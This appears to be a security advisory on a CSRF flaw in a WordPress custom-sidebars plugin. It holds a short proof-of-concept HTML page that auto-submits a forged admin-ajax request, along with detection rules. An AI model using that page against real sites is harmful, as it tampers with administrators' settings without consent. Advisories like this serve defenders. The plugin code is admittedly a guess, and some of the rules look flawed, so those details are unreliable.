CVE-2025-62733

Executive Summary

CVE-2025-62733 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Custom Sidebars by ProteusThemes WordPress plugin, affecting versions through 1.0.3. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying sidebar configurations, without the victim's consent. The attack requires social engineering to trick a logged-in admin into clicking a malicious link or visiting a crafted page. The CVSS score is 4.3 (Medium), with a low EPSS probability of exploitation (0.0%). No public exploit code or patch is currently available, making this a latent threat for WordPress sites using the plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As a third-party component, it introduces supply chain risk: if the plugin is not updated or patched by the vendor, sites remain exposed. Administrators should monitor the plugin's update channel and consider removing it if no patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need prior access.
• User Interaction (UI): Required (R) – Victim must click a link or visit a page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Sidebar settings can be altered.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity (sidebar configuration) could be used for defacement or phishing.

Deep Dive & Mechanics

The vulnerability exists in the custom-sidebars-by-proteusthemes plugin, which allows administrators to create and manage custom sidebars. The plugin's administrative actions (e.g., creating, editing, deleting sidebars) lack CSRF tokens or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, triggers a forged request to the WordPress admin AJAX endpoint (e.g., admin-ajax.php). This request can modify sidebar settings without the admin's knowledge.

Attack Flow:

1. Attacker identifies a target WordPress site using the vulnerable plugin.
2. Attacker crafts a CSRF payload (e.g., an HTML form that auto-submits to wp-admin/admin-ajax.php with action custom_sidebars_save).
3. Attacker lures the admin to visit the malicious page (via email, social media, etc.).
4. The admin's browser sends the forged request with their session cookies.
5. The plugin processes the request, altering sidebar configurations.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (custom-sidebars-by-proteusthemes <= 1.0.3):

// In admin-ajax.php or similar handler
add_action('wp_ajax_custom_sidebars_save', 'custom_sidebars_save_handler');
function custom_sidebars_save_handler() {
    // No CSRF check
    $sidebar_data = $_POST['sidebar_data'];
    update_option('custom_sidebars', $sidebar_data);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_custom_sidebars_save', 'custom_sidebars_save_handler');
function custom_sidebars_save_handler() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'custom_sidebars_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $sidebar_data = $_POST['sidebar_data'];
    update_option('custom_sidebars', $sidebar_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• WordPress 6.x with Custom Sidebars by ProteusThemes 1.0.3 installed.
• Admin user logged in.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html):

<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="custom_sidebars_save">
    <input type="hidden" name="sidebar_data" value='{"new_sidebar":"malicious_content"}'>
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email).
4. When the admin visits, the form auto-submits, altering the sidebar.

Blue Team (Defender)

Detection & Prevention:

• Monitor for unusual admin-ajax.php requests with action=custom_sidebars_save from unexpected referrers.
• Implement CSRF tokens manually if plugin is not updated.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php without a valid nonce.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=custom_sidebars_save and no _wpnonce parameter.
• Logs: WordPress debug log entries showing custom_sidebars_save action without nonce.
• File: Unexpected changes in wp_options table under custom_sidebars option.
• Behavior: Sidebar content altered without admin interaction.

Detection Engineering

YARA Rule

rule CVE_2025_62733_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Custom Sidebars plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62733"
    strings:
        $ajax_action = "custom_sidebars_save"
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $ajax_action and not $no_nonce
}

Sigma Rule

title: CVE-2025-62733 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to admin-ajax.php with custom_sidebars_save action without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=custom_sidebars_save'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62733 CSRF Attempt - Custom Sidebars"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=custom_sidebars_save"; http_client_body; pcre:"/^((?!_wpnonce).)*$/s"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the custom-sidebars-by-proteusthemes plugin until a patch is released.
2. Short-term: Implement a CSRF protection plugin (e.g., "Nonce Manager") that adds nonces to all admin AJAX actions.
3. Long-term: Contact ProteusThemes for a patched version. If no patch is forthcoming, migrate to an alternative sidebar plugin with active security support.
4. Monitoring: Enable WordPress debug logging and monitor for suspicious admin-ajax.php requests.
5. User Training: Educate administrators about phishing attacks that could trigger CSRF.

Valters IT